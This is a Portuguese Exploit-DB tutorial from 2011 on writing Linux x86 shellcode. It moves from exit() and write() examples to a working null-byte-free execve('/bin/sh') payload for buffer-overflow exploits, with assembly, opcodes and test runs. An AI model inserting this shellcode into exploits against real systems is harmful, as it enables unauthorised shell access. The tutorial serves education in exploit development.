Construindo Shellcodes (Portuguese)

EDB-ID:

18273

CVE:

N/A

Author:

m0nad

Type:

papers

Platform:

Linux

Published:

2011-12-24

            ____
        _.-'111 `"`--._
    ,00010.  .01011,   ''-..           
  ,10101010  `111000. _ ____ ;        
 /_..__..-------- '''    __.'                                                          /
 `-._       /""| _..-'''     ___  __   __             ___       __      __  .       __'  ___ .  __ 
     "`-----\  `\           |    |  | | __ |  | |\/| |___ |    |  |    |__] | |\ | |__| |__/ | |  | 
             |   ;.-""--..  |___ |__| |__] |__| |  | |___ |___ |__|    |__] | | \| |  | |  \ | |__| 
             | ,10.  101. `.========================================  ==============================
             `;1010  `0110  :                       1º Edição
       .1""-.|`-._          ;
      010 _.-|    +---+----'
      `--'\` |    /  /                        ...:::binariae:fungus:::...
 ~~~~~~~~~| /    |  |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
          \|    /   |
           `----`---'

Construindo shellcodes por m0nad.

Índice
    1) Apresentação
    2) O que são shellcodes?
    3) Ferramentas
    4) Ambiente
    5) System Calls
    6) Exemplos:
      6.1) 'exit(0);' em assembly
      6.2) 'exit(0);' em shellcode
      6.3) 'exit(0);' em assembly nullbyte-free
      6.4) 'exit(0);' em shellcode nullbyte-free
      6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free
      6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free
      6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free
      6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free
    7) Perguntas?
    8) Referências

1) Apresentação

    Ola me chamo Victor Ramos Mello aka m0nad,  recomendo que  visitem  meu  github,
  http://github.com/m0nad.
    Venho aqui explicar o que são e principalmente, como construir shellcodes.

2) O que são shellcodes?

    Shellcode ou Payload, são códigos utilizados na exploração de buffer  overflows,
  são utilizados no desenvolvimento de exploits para exploração desse tipo de falha,
  quem já leu os exploits de buffer overflows já os viu, shellcodes são  construídos
  apenas com os valores em hexadecimal dos opcodes da  arquitetura  alvo,  ou  seja,
  as  instruções  do próprio  processador, por  isso  o  entendimento  da  linguagem
  assembly,  que  até  certo  ponto,  possui  relação  de 1 para 1 com  a  linguagem
  de máquina, se faz necessária.
    O shellcode é o código que será de fato executado durante  a  exploração  de  um
  buffer overflow.
    São chamados de 'shellcodes' pois geralmente o seu  objetivo  é  a  obtenção  de
  uma shell.

3) Ferramentas:

    Utilizaremos uma serie de ferramentas, todas são de fácil acesso,  presentes  na
  maioria dos unix-like, as ferramentas são:

    as - Montador da linguagem Assembly.
    ld - Linker.
    gcc - Compilador C.
    objdump - Visualizador de arquivos objeto.
    Linux 32 bits - Sistema Operacional alvo.

4) Ambiente:

    O ambiente utilizado foi um GNU/Linux, um Ubuntu,  as  versões  das  ferramentas
  e do kernel utilizado são:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.35-30-generic #56-Ubuntu SMP Mon Jul 11 20:00:22 UTC 2011 i686 GNU/Linux
m0nad@m0nad-notebook:~$ as --version
GNU assembler (GNU Binutils for Ubuntu) 2.20.51-system.20100908
Copyright 2010 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or later.
This program has absolutely no warranty.
This assembler was configured for a target of `i686-linux-gnu'.
m0nad@m0nad-notebook:~$ ld --version
GNU ld (GNU Binutils for Ubuntu) 2.20.51-system.20100908
Copyright 2010 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or (at your option) a later version.
This program has absolutely no warranty.
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

m0nad@m0nad-notebook:~$ 

------------------------------------------------------------------------------------

5) System Calls:

    Para construirmos um código simples de assembly  em  um  linux, utilizaremos  as
  system-calls do sistema operacional, que nada mais são do que  chamadas  presentes
  no kernel para executar tarefas para a aplicação.
    Existem diversas técnicas de construção de shellcodes, alguns optam por escrever
  o código em C, e depois debugar para descobrir  quais  syscalls  e  instruções  de
  máquina que irá utilizar, outra maneira é escrever o  código direto  em  assembly,
  para  pegarmos  os  opcodes  e  construirmos  o  shellcode,  é  esta  técnica  que
  utilizaremos.

6) Exemplos:

  6.1) 'exit(0);' em assembly

    Vejamos o primeiro exemplo, um 'exit(0);'.
    Para executarmos qualquer syscall,  precisamos  utilizar  os  registradores,  os
  registradores de 'propósito geral' na arquitetura da Intel de  32  bits  são  eax,
  ebx, ecx, edx, esi, edi, esp e ebp, já que este será nosso ambiente.
    Para executarmos uma determinada  syscall,  basta  mover  o  número  da  syscall
  desejada, no caso 'exit', para o registrador eax e os demais  argumentos  para  os
  registradores ebx, ecx, edx, esi, edi, respectivamente e chamar a interrupção  de
  kernel 'int 0x80', que o kernel fará o resto.
    Para descobrirmos o número das syscalls é simples, basta  olharmos  o  unistd.h,
  aqui estava presente em '/usr/include/asm/unistd_32.h.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~$ grep exit /usr/include/asm/unistd_32.h 
#define __NR_exit		  1
#define __NR_exit_group		252
m0nad@m0nad-notebook:~$ 

------------------------------------------------------------------------------------

    Podemos ver que o número da syscall 'exit' é '1', então para criarmos um  código
  em assembly, com um código equivalente a um 'exit(0);', precisamos colocar o valor
  '1' em eax, e o valor '0', em '%ebx', e depois chamar o kernel.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat asm_exit_linux32.s 
.data
.text
  .global _start

_start:
mov $0x1, %eax	#syscall exit
mov $0x0, %ebx	#exit (0);
int $0x80	#chama o kernel

------------------------------------------------------------------------------------

    Pronto, agora vamos montá-lo e linka-lo

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ as asm_exit_linux32.s -o asm_exit_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ld asm_exit_linux32.o -o asm_exit_linux32

------------------------------------------------------------------------------------

    Ao executá-lo, nada acontecerá, pois ele somente ira executar  um  exit,  e  irá
  sair de sua execução, por isso, executaremos com strace.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ strace ./asm_exit_linux32
execve("./asm_exit_linux32", ["./asm_exit_linux32"], [/* 39 vars */]) = 0
_exit(0)                                = ?
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Sucesso! Podemos ver que nossa  syscall  'exit(0);'  foi  chamada,  vamos  agora
  descobrir os opcodes utilizados, ou seja, os valores das instruções de máquina.

  6.2) 'exit(0);' em shellcode

    Basta usarmos o 'objdump' para vermos os opcodes...

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_exit_linux32

asm_exit_linux32:     file format elf32-i386


Disassembly of section .text:

08048054 <_start>:
 8048054:	b8 01 00 00 00       	mov    $0x1,%eax
 8048059:	bb 00 00 00 00       	mov    $0x0,%ebx
 804805e:	cd 80                	int    $0x80

m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------
 
    Os opcodes, são os números em hexa no centro, entre os endereços e as instruções
  em assembly.
    Basta colocar os valores hexa numa string, e assim teremos o nosso shellcode.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat sc_exit_linux32.c 
const char sc[] = 
"\xb8\x01\x00\x00\x00" // mov    $0x1,%eax
"\xbb\x00\x00\x00\x00" // mov    $0x0,%ebx
"\xcd\x80"	       // int    $0x80
;
int
main ()
{
  __asm__ ("jmp sc");
  return 0;
}

------------------------------------------------------------------------------------

    Compilando...

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_exit_linux32 sc_exit_linux32.c
m0nad@m0nad-notebook:~/Assembly$

------------------------------------------------------------------------------------

    Vamos agora executar com strace, para ver se tudo ocorre como o esperado.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ strace ./sc_exit_linux32
execve("./sc_exit_linux32", ["./sc_exit_linux32"], [/* 39 vars */]) = 0
brk(0)                                  = 0x8fae000
uname({sys="Linux", node="m0nad-notebook", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7825000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0
mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7813000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x454000
mmap2(0x5ab000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0x5ab000
mmap2(0x5ae000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5ae000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7812000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x5ab000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x7a6000, 4096, PROT_READ)     = 0
munmap(0xb7813000, 71040)               = 0
_exit(0)                                = ?
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Vemos que nossa syscall 'exit(0);' foi executada com sucesso!  E  dessa  vez  em
  forma de shellcode.
    Mas temos um problema, os nullbytes, esses valores '\x00' no shellcode,  isto  é
  devido ao simples fato de que, na maioria das falhas de buffer overflows, os dados
  a serem colocados na memória, são geralmente strings, e a linguagem C,  utiliza  o
  nullbyte como término da string, no caso de uma função como 'strcpy', o  shellcode
  não seria copiado inteiramente para o buffer, fazendo com que nosso shellcode  não
  seja executado por completo, o que resultaria  em  resultados  indesejáveis, então
  precisamos criar um shellcode sem os benditos nullbytes.

  6.3) 'exit(0);' em assembly nullbyte-free

    Vamos tentar criar um exit sem os nullbytes, vejamos o exemplo:

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_exit_linux32.s
.data
.text
  .global _start
_start:
xor %eax, %eax	#zera %eax
xor %ebx, %ebx	#zera %ebx
inc %eax	#eax igual a 1
int $0x80	#chama o kernel
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Montando e linkando...

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_exit_linux32.o asm_nbf_exit_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_exit_linux32 asm_nbf_exit_linux32.o

------------------------------------------------------------------------------------

    Executando!

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_exit_linux32 
m0nad@m0nad-notebook:~/Assembly$ strace ./asm_nbf_exit_linux32
execve("./asm_nbf_exit_linux32", ["./asm_nbf_exit_linux32"], [/* 39 vars */]) = 0
_exit(0)                                = ?
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Perfeito! Nossa syscall foi chamada, e tudo parece ocorrer bem.
    Vamos ver se realmente não possui null bytes.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_exit_linux32

asm_nbf_exit_linux32:     file format elf32-i386


Disassembly of section .text:

08048054 <_start>:
 8048054:	31 c0                	xor    %eax,%eax
 8048056:	31 db                	xor    %ebx,%ebx
 8048058:	40                   	inc    %eax
 8048059:	cd 80                	int    $0x80
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Vejam que agora os nullbytes sumiram! Para isso, evitamos mover valores para  os
  registradores, o ideal é zerar o registrador com 'xor', onde qualquer valor  'xor'
  ele mesmo é igual a zero, e depois mover para as partes 'baixas'  do  registrador,
  como '%al', mas nesse caso, utilizei a instrução 'inc' para incrementar  o  'eax',
  que também não gera nullbytes.
     
  6.4) 'exit(0);' em shellcode nullbyte-free

    Mais uma vez, basta pegarmos os opcodes do output do objdump, e colocarmos  num
  vetor de char.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/projects/ASM/Assembly$ cat sc_nbf_exit_linux32.c
const char sc[] = 
"\x31\xc0"  // xor    %eax,%eax
"\x31\xdb"  // xor    %ebx,%ebx
"\x40"      // inc    %eax
"\xcd\x80"  // int    $0x80
;
int
main ()
{
  __asm__ ("jmp sc");
  return 0;
}
m0nad@m0nad-notebook:~/projects/ASM/Assembly$
------------------------------------------------------------------------------------

    Compilando...e executando!

------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ gcc -o sc_nbf_exit_linux32 sc_nbf_exit_linux32.c
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ ./sc_nbf_exit_linux32 
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ strace ./sc_nbf_exit_linux32
execve("./sc_nbf_exit_linux32", ["./sc_nbf_exit_linux32"], [/* 39 vars */]) = 0
brk(0)                                  = 0x881b000
uname({sys="Linux", node="m0nad-notebook", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c9000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0
mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78b7000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xd07000
mmap2(0xe5e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xe5e000
mmap2(0xe61000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xe61000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b6000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b66c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xe5e000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x154000, 4096, PROT_READ)     = 0
munmap(0xb78b7000, 71040)               = 0
_exit(0)                                = ?
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ 

------------------------------------------------------------------------------------

    Vimos que funciona perfeitamente, já sabemos escrever shellcodes  nullbyte-free,
  ou seja, livre de bytes nulos.

  6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free

     Vamos passar agora para um exemplo um pouco  mais  complexo, vamos escrever  um
  'Alo Mundo' em assembly, e nullbyte-free,  para isso vamos  utilizar  as  técnicas
  vistas anteriormente, o maior problema que  teremos  que  enfrentar  sera copiar o
  endereço da string para '%ecx',  para  isso  há  diversas  técnicas, no artigo  do
  AlephOne[1], ele utiliza a instrução 'call' com a string logo  em seguida, pois  a
  instrução 'call' salva o endereço da próxima instrução na  pilha,  então  bastaria
  dar um  'pop %ecx',  para assim capturarmos o endereço, mas nós utilizaremos outra
  técnica, de dar 'push' na string, e depois copiar o  endereço  do  '%esp'  para  o
  '%ecx', para isso basta colocar a string de traz para frente, já que a pilha é  um
  LIFO (Last in, First Out) ou seja, o último que entra é o primeiro que sai, e  com
  seus valores ascii em hexadecimal, já que vamos passar como simples números para a
  pilha.
    Vamos descobrir os valores em hexa de traz para frente.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ echo -n Alo Mundo | perl -ne 'printf "%x",  unpack "C*" foreach (reverse split //) ';echo
6f646e754d206f6c41
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Pronto, já temos os valores em hexa da string 'Alo Mundo' de traz para frente.
    Vamos construir o shellcode para printar o 'Alo Mundo',  colocando  novamente  o
  número da syscall em '%eax', neste caso 'write', stdout para '%ebx',  endereço  da
  string para '%ecx', e o tamanho da string para '%edx', para evitarmos os nullbytes
  vamos zerar os registradores com 'xor' e mover os valores para  as  partes  baixas
  dos registradores.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_write_alomundo_linux32.s 
.text
.globl _start

_start:
  xor %eax, %eax	#zera %eax
  mov $0x4, %al		#move 4(write) para a %al
  xor %ebx, %ebx	#zera %ebx
  push %ebx		#poe o nullbyte na pilha
  inc %ebx		#stdout em %ebx
  push $0x6f		#coloca a string na pilha
  push $0x646e754d	# 
  push $0x206f6c41	# 
  mov %esp, %ecx	#ponteiro da string para %ecx
  xor %edx, %edx	#zera %edx
  mov $0xa, %dl		#tamanho da string para %dl
  int $0x80		#chama o kernel
  xor %eax, %eax	#exit(0);
  xor %ebx, %ebx	#
  inc %eax		#
  int $0x80		#
 
m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_write_alomundo_linux32.o asm_nbf_write_alomundo_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_write_alomundo_linux32 asm_nbf_write_alomundo_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_write_alomundo_linux32 ;echo
Alo Mundo
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Perfeito, funciona, vamos verificar se realmente não possui nullbytes.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_write_alomundo_linux32

asm_nbf_write_alomundo_linux32:     file format elf32-i386


Disassembly of section .text:

08048054 <_start>:
 8048054:	31 c0                	xor    %eax,%eax
 8048056:	b0 04                	mov    $0x4,%al
 8048058:	31 db                	xor    %ebx,%ebx
 804805a:	53                   	push   %ebx
 804805b:	43                   	inc    %ebx
 804805c:	6a 6f                	push   $0x6f
 804805e:	68 4d 75 6e 64       	push   $0x646e754d
 8048063:	68 41 6c 6f 20       	push   $0x206f6c41
 8048068:	89 e1                	mov    %esp,%ecx
 804806a:	31 d2                	xor    %edx,%edx
 804806c:	b2 0a                	mov    $0xa,%dl
 804806e:	cd 80                	int    $0x80
 8048070:	31 c0                	xor    %eax,%eax
 8048072:	31 db                	xor    %ebx,%ebx
 8048074:	40                   	inc    %eax
 8048075:	cd 80                	int    $0x80
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Legal! Esta livre de bytes nulos! Vamos ao shellcode.

  6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free
 
    Vamos ao shellcode, basta escrevermos o shellcode utilizando estes opcodes.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_write_alomundo_linux32.c 
const char sc[] =
"\x31\xc0"		// xor    %eax,%eax
"\xb0\x04"		// mov    $0x4,%al
"\x31\xdb"		// xor    %ebx,%ebx
"\x53"			// push   %ebx
"\x43"			// inc    %ebx
"\x6a\x6f"		// push   $0x6f
"\x68\x4d\x75\x6e\x64"	// push   $0x646e754d
"\x68\x41\x6c\x6f\x20"	// push   $0x206f6c41
"\x89\xe1"		// mov    %esp,%ecx
"\x31\xd2"		// xor    %edx,%edx
"\xb2\x0a"		// mov    $0xa,%dl
"\xcd\x80"		// int    $0x80
"\x31\xc0"		// xor    %eax,%eax
"\x31\xdb"		// xor    %ebx,%ebx
"\x40"			// inc    %eax
"\xcd\x80"		// int    $0x80
;
int
main ()
{
  __asm__ ("jmp sc");
  return 0;
}

m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_write_alomundo_linux32 sc_nbf_write_alomundo_linux32.c 
m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_write_alomundo_linux32 ;echo
Alo Mundo
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Sucesso! funciona perfeitamente, um shellcode 'Alo Mundo' nullbyte-free, estamos
  perto do nosso objetivo, ou seja, escrever o shellcode que obtem uma shell!

  6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free

     Bem vamos ver então, o sexto exemplo, o assembly que irá nos dar a shell,  para
  isso basta colocarmos o valor da syscall 'execve' em '%eax' e o endereço da string
  '/bin/sh' em '%ebx', o resto é semelhante ao shellcode anterior, só uma  coisa,  a
  string terá que ser '/bin//sh', usamos uma '/' a  mais  como  um  'padding',  para
  evitarmos os bytes nulos, novamente de traz para frente.
 

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_execve_sh_linux32.s
.data
.text
 .global _start

_start:
xor %eax, %eax		#zera %eax
push %eax		#coloca nullbyte na pilha
push $0x68732F2F	#coloca string /bin//sh na pilha
push $0x6E69622F	#
mov $0xb, %al		#syscall execve para %al
mov %esp, %ebx		#ponteiro da string para %ebx
xor %ecx, %ecx		#zera %ecx
xor %edx, %edx		#zera %edx
int $0x80		#chama o kernel
xor %eax, %eax		#exit(0);
xor %ebx, %ebx		#
inc %eax		#
int $0x80		#

------------------------------------------------------------------------------------

    Montando, linkando e executando...

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_execve_sh_linux32.o asm_nbf_execve_sh_linux32.s 
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_execve_sh_linux32 asm_nbf_execve_sh_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_execve_sh_linux32
$ exit
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Sucesso! Vamos verificar se não há bytes nulos, para pegarmos os opcodes.

  6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free

    Agora o objetivo de tudo, o shellcode que irá nos dar shell!

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_execve_sh_linux32

asm_nbf_execve_sh_linux32:     file format elf32-i386


Disassembly of section .text:

08048054 <_start>:
 8048054:	31 c0                	xor    %eax,%eax
 8048056:	50                   	push   %eax
 8048057:	68 2f 2f 73 68       	push   $0x68732f2f
 804805c:	68 2f 62 69 6e       	push   $0x6e69622f
 8048061:	b0 0b                	mov    $0xb,%al
 8048063:	89 e3                	mov    %esp,%ebx
 8048065:	31 c9                	xor    %ecx,%ecx
 8048067:	31 d2                	xor    %edx,%edx
 8048069:	cd 80                	int    $0x80
 804806b:	31 c0                	xor    %eax,%eax
 804806d:	31 db                	xor    %ebx,%ebx
 804806f:	40                   	inc    %eax
 8048070:	cd 80                	int    $0x80
m0nad@m0nad-notebook:~/Assembly$ 
m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_execve_sh_exit_linux32.c
const char sc[] = 
"\x31\xc0"		// xor    %eax,%eax
"\x50"			// push   %eax
"\x68\x2f\x2f\x73\x68"	// push   $0x68732f2f
"\x68\x2f\x62\x69\x6e"	// push   $0x6e69622f
"\xb0\x0b"		// mov    $0xb,%al
"\x89\xe3"		// mov    %esp,%ebx
"\x31\xc9"		// xor    %ecx,%ecx
"\x31\xd2"		// xor    %edx,%edx
"\xcd\x80"		// int    $0x80
"\x31\xc0"		// xor    %eax,%eax
"\x31\xdb"		// xor    %ebx,%ebx
"\x40"			// inc    %eax
"\xcd\x80"		// int    $0x80
;
int
main () 
{
  __asm__ ("jmp sc");
  return 0;
}

------------------------------------------------------------------------------------

    Compilando e executando...

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_execve_sh_exit_linux32 sc_nbf_execve_sh_exit_linux32.c
m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_execve_sh_exit_linux32
$ exit
m0nad@m0nad-notebook:~/Assembly$ 

------------------------------------------------------------------------------------

    Sucesso! Um shellcode funcional nullbyte-free, que executa a nossa shell!

7) Perguntas?

m0nad /at/ email.com

8) Referências

[1] Smash the Stack for Fun and Profit - AlephOne


                                                            
                                                   AAAAA    
                                                ?AAAAAA?    
                        AAAAAN                AAAAAAAAA     
                  AAA             A+         AAAAAAAAAA     
               A.                     A?   AAAAAAAAAAA      
            AA                           AAAAAAAAAAA        
          AA               +             AAAAAAAAAAA        
         A                AAAAAAA       AAAAAAAAAAA         
       NA               AAAAAAAAAA.    AAAAAAAAAAAA         
      A               AAAAAAAAAAAAAAA  AAAAAAAAAAA          
     A               AAAAAAAAAAAAAAAA  AAAAAAAAAA           
    N               AAAAAAAAAAAAAAAAA  AAAAAAAA  A          
               AA  AAAAAAAAAAAAAAAAAAA AAAAAA     A         
   A           AA  AAAAAAAAAAAAAAAAAAAAAAAAAA+              
   .  .       AAA AAAAAAAAAAAAAAAAAAAAAAAAAA       A        
  A  AA  AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA         A        
  A  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA           +       
  A   AAAAAAA  ?AAAAAAAAAAAAAAAAAAAAAAAA            A       
  +   AA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAA            A       
      AA.AAAA.+AAAAAAAAAAAAAAAAAAAAAAAA             A       
  .   AAAAAA  +AAAAAAAAAAAAAAAAAAAAAAAAA.           A       
  A   +.++ AA+ A+AAAAAAAAAAAAAAAAAAAAAA             ?       
  A  A  A.    A+  AAAA.AAAAAAAAAAAAAAAN                     
       A   .A ?    AAA AAAA AAAAAAAAAA             A        
   A         A+    AAA AAAI +AAAAAAAAN             .        
    +              AAA AAA   AAAAAAAA             A         
    N              AA? AAA    AAAAAA.                       
     A             AAA AAA    AAAAAAA            .          
      A            .A. AA      AA AAA           .           
       .            AA AA      AAA.AAA        ..            
         A          AA?AA      AA. AAA       A              
          N.        AAAAA      AA  AA      ?+               
            A      AA.AAA      AA  AA    ..                 
               AAAAAAAAAA   . AA   AA .A                    
                AAAN+AAA   +AAAA   AA                       
                      . .AAAAAA AAAA.                       
                                AAAA                        
                                . A+